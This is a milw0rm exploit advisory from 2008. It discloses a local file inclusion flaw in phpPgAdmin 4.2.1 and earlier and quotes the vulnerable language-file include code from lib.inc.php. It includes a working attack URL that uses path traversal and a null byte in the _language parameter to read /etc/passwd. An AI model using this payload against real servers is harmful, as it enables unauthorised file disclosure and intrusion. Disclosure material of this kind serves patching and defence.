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[ Discovered by dun \ dun[at]strcpy.pl ]
##################################################################
# [ phpPgAdmin <= 4.2.1 ] Local File Inclusion Vulnerability #
##################################################################
#
# Script: "phpPgAdmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DBAs, newbies and hosting services."
#
# Script site: http://www.phppgadmin.org/
# Download: http://phppgadmin.sourceforge.net/?page=download
#
# Vuln: http://site.com/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00
#
# Bug: ./phpPgAdmin-4.2.1/index.php (line: 11)
#
# ...
# include_once('./libraries/lib.inc.php');
# ...
#
#
# Bug: ./phpPgAdmin-4.2.1/libraries/lib.inc.php (lines: 22-138 -> 136)
#
# ...
# // Determine language file to import:
# // 1. Check for the language from a request var
# if (isset($_REQUEST['language']) && isset($appLangFiles[$_REQUEST['language']]))
# $_language = $_REQUEST['language'];
#
# // 2. Check for language session var
# if (!isset($_language) && isset($_SESSION['webdbLanguage']) && isset($appLangFiles[$_SESSION['webdbLanguage']])) {
# $_language = $_SESSION['webdbLanguage'];
# }
#
# // 3. Check for acceptable languages in HTTP_ACCEPT_LANGUAGE var
# if (!isset($_language) && $conf['default_lang'] == 'auto' && isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
# // extract acceptable language tags
# // (http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.4)
# preg_match_all('/\s*([a-z]{1,8}(?:-[a-z]{1,8})*)(?:;q=([01](?:.[0-9]{0,3})?))?\s*(?:,|$)/', strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']), $_m, PREG_SET_ORDER);
# foreach($_m as $_l) { // $_l[1] = language tag, [2] = quality
# if (!isset($_l[2])) $_l[2] = 1; // Default quality to 1
# if ($_l[2] > 0 && $_l[2] <= 1 && isset($availableLanguages[$_l[1]])) {
# // Build up array of (quality => language_file)
# $_acceptLang[$_l[2]] = $availableLanguages[$_l[1]];
# }
# }
# unset($_m);
# unset($_l);
# if (isset($_acceptLang)) {
# // Sort acceptable languages by quality
# krsort($_acceptLang, SORT_NUMERIC);
# $_language = reset($_acceptLang);
# unset($_acceptLang);
# }
# }
#
# // 4. Otherwise resort to the default set in the config file
# if (!isset($_language) && $conf['default_lang'] != 'auto' && isset($appLangFiles[$conf['default_lang']])) {
# $_language = $conf['default_lang'];
# }
#
# // Import the language file
# if (isset($_language)) {
# include("./lang/recoded/{$_language}.php"); // * LFI *
# $_SESSION['webdbLanguage'] = $_language;
# }
# ...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################
[ dun / 2008 ]
*******************************************************************************************
# milw0rm.com [2008-12-06]
